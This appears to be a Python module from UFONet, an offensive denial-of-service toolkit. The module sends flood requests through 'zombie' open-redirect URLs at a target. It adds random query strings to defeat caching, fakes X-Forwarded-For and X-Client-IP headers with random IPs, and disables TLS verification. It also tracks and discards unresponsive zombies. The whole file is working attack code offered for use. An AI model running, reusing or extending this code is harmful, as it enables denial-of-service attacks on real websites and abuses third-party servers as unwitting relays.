"""
This file is part of the UFONet project, https://ufonet.03c8.net
Copyright (c) 2013/2020 | psy <[email protected]>
You should have received a copy of the GNU General Public License along
with UFONet; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import io, hashlib, re, sys, certifi
import time, threading, random
from .randomip import RandomIP
try:
import pycurl
except:
print("\nError importing: pycurl lib. \n\n")
sys.exit(2)
class Zombie:
def __init__(self, ufo, zombie):
self.ufo = ufo
self.payload=ufo.payload
self.attack_mode=ufo.attack_mode
self.zombie = zombie
self.connection_failed=True
def connect(self):
reply=None
with self.ufo.sem:
self.ufo.herd.new_zombie(self.zombie)
reply=self.do_connect()
self.ufo.herd.kill_zombie(self.zombie, reply, self.connection_failed)
return reply
def do_connect(self):
options = self.ufo.options
c = pycurl.Curl()
if self.ufo.head == True:
try:
c.setopt(pycurl.URL, self.zombie)
except:
c.setopt(pycurl.URL, self.zombie.encode('utf-8'))
c.setopt(pycurl.NOBODY, True)
if self.payload == True:
payload = self.zombie + "https://www.whitehouse.gov"
try:
c.setopt(pycurl.URL, payload)
except:
c.setopt(pycurl.URL, payload.encode('utf-8'))
c.setopt(pycurl.NOBODY, 0)
if self.attack_mode == True:
if options.place:
random_name_hash = random.randint(1, 100000000)
random_hash = random.randint(1, 100000000)
if options.place.endswith("/"):
options.place = re.sub('/$', '', options.place)
if options.place.startswith("/"):
if "?" in options.place:
url_attack = self.zombie + options.target + options.place + "&" + str(random_name_hash) + "=" + str(random_hash)
else:
url_attack = self.zombie + options.target + options.place + "?" + str(random_name_hash) + "=" + str(random_hash)
else:
if "?" in options.place:
url_attack = self.zombie + options.target + "/" + options.place + "&" + str(random_name_hash) + "=" + str(random_hash)
else:
url_attack = self.zombie + options.target + "/" + options.place + "?" + str(random_name_hash) + "=" + str(random_hash)
else:
url_attack = self.zombie + options.target
if self.ufo.options.verbose:
print("[Info] [Zombies] Payload:", url_attack)
try:
c.setopt(pycurl.URL, url_attack)
except:
c.setopt(pycurl.URL, url_attack.encode('utf-8'))
c.setopt(pycurl.NOBODY, 0)
fakeheaders = ['Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg',
'Connection: Keep-Alive',
'Content-type: application/x-www-form-urlencoded; charset=UTF-8',
'Cache-control: no-cache',
'Pragma: no-cache',
'Pragma-directive: no-cache',
'Cache-directive: no-cache',
'Expires: 0']
c.setopt(pycurl.FOLLOWLOCATION, 1)
c.setopt(pycurl.MAXREDIRS, 10)
c.setopt(pycurl.SSL_VERIFYHOST, 0)
c.setopt(pycurl.SSL_VERIFYPEER, 0)
c.setopt(pycurl.CAINFO, certifi.where())
c.setopt(pycurl.COOKIEFILE, '/dev/null')
c.setopt(pycurl.COOKIEJAR, '/dev/null')
c.setopt(pycurl.FRESH_CONNECT, 1)
c.setopt(pycurl.NOSIGNAL, 1)
c.setopt(pycurl.ENCODING, "")
if options.xforw:
generate_random_xforw = RandomIP()
xforwip = generate_random_xforw._generateip('')
xforwfakevalue = ['X-Forwarded-For: ' + str(xforwip)]
fakeheaders = fakeheaders + xforwfakevalue
if options.xclient:
generate_random_xclient = RandomIP()
xclientip = generate_random_xclient._generateip('')
xclientfakevalue = ['X-Client-IP: ' + str(xclientip)]
fakeheaders = fakeheaders + xclientfakevalue
if options.host:
host_fakevalue = ['Host: ' + str(options.host)]
fakeheaders = fakeheaders + host_fakevalue
c.setopt(pycurl.HTTPHEADER, fakeheaders)
b = io.BytesIO()
c.setopt(pycurl.HEADERFUNCTION, b.write)
h = io.BytesIO()
c.setopt(pycurl.WRITEFUNCTION, h.write)
if options.agent:
c.setopt(pycurl.USERAGENT, options.agent)
else:
c.setopt(pycurl.USERAGENT, self.ufo.user_agent)
if options.referer:
c.setopt(pycurl.REFERER, options.referer)
else:
c.setopt(pycurl.REFERER, self.ufo.referer)
if options.proxy:
proxy = options.proxy
sep = ":"
proxy_ip = proxy.rsplit(sep, 1)[0]
if proxy_ip.startswith('http://'):
proxy_ip = proxy_ip.replace('http://', '')
elif proxy_ip.startswith('https://'):
proxy_ip = proxy_ip.replace('https://', '')
proxy_port = proxy.rsplit(sep, 1)[1]
if proxy_ip == '127.0.0.1':
proxy_ip = 'localhost'
c.setopt(pycurl.PROXY, proxy_ip)
c.setopt(pycurl.PROXYPORT, int(proxy_port))
else:
c.setopt(pycurl.PROXY, '')
c.setopt(pycurl.PROXYPORT, pycurl.PROXYPORT)
if options.timeout:
c.setopt(pycurl.TIMEOUT, options.timeout)
c.setopt(pycurl.CONNECTTIMEOUT, options.timeout)
else:
c.setopt(pycurl.TIMEOUT, 5)
c.setopt(pycurl.CONNECTTIMEOUT, 5)
if options.delay:
self.ufo.delay = options.delay
else:
self.ufo.delay = 0
if options.retries:
self.ufo.retries = options.retries
else:
self.ufo.retries = 0
try:
c.perform()
time.sleep(self.ufo.delay)
self.connection_failed = False
except Exception as e:
for count in range(0, self.ufo.retries):
time.sleep(self.ufo.delay)
try:
c.perform()
self.connection_failed = False
except:
self.connection_failed = True
if self.ufo.head == True:
try:
reply = b.getvalue().decode('utf-8')
except:
try:
reply = b.getvalue()
except:
reply = None
try:
code_reply = c.getinfo(pycurl.HTTP_CODE)
except:
code_reply = 0
if reply:
if options.verbose:
print("[Info] [AI] HEAD Reply:")
print("\n"+ reply)
if self.ufo.options.testrpc:
return reply
else:
return code_reply
if self.ufo.external == True:
try:
external_reply = h.getvalue().decode('utf-8')
except:
try:
external_reply = h.getvalue()
except:
external_reply = None
if external_reply:
if options.verbose:
print("[Info] [AI] EXTERNAL Reply:")
print("\n"+ external_reply)
return external_reply
if self.payload == True:
try:
payload_reply = h.getvalue().decode('utf-8')
except:
try:
payload_reply = h.getvalue()
except:
payload_reply = None
if payload_reply:
if options.verbose:
print("[Info] [AI] PAYLOAD Reply:")
print("\n"+ payload_reply)
return payload_reply
if self.attack_mode == True:
try:
attack_reply = h.getvalue().decode('utf-8')
except:
try:
attack_reply = h.getvalue()
except:
attack_reply = None
try:
reply_code = c.getinfo(c.RESPONSE_CODE)
except:
reply_code = 0
try:
reply_time = c.getinfo(c.TOTAL_TIME)
except:
reply_time = 0
try:
reply_size = len(attack_reply)
except:
reply_size = 0
if options.verbose:
print("[Info] [AI] [Zombies] "+self.zombie+" -> REPLY (HTTP Code: "+ str(reply_code)+" | Time: "+str(reply_time)+" | Size: " + str(reply_size)+")")
time.sleep(5)
if len(attack_reply) == 0:
print("[Info] [Zombies] " + self.zombie + " -> FAILED (cannot connect!)")
if not self.ufo.options.disablepurge:
self.ufo.discardzombies.append(self.zombie)
self.ufo.num_discard_zombies = self.ufo.num_discard_zombies + 1
return [reply_code, reply_time, reply_size]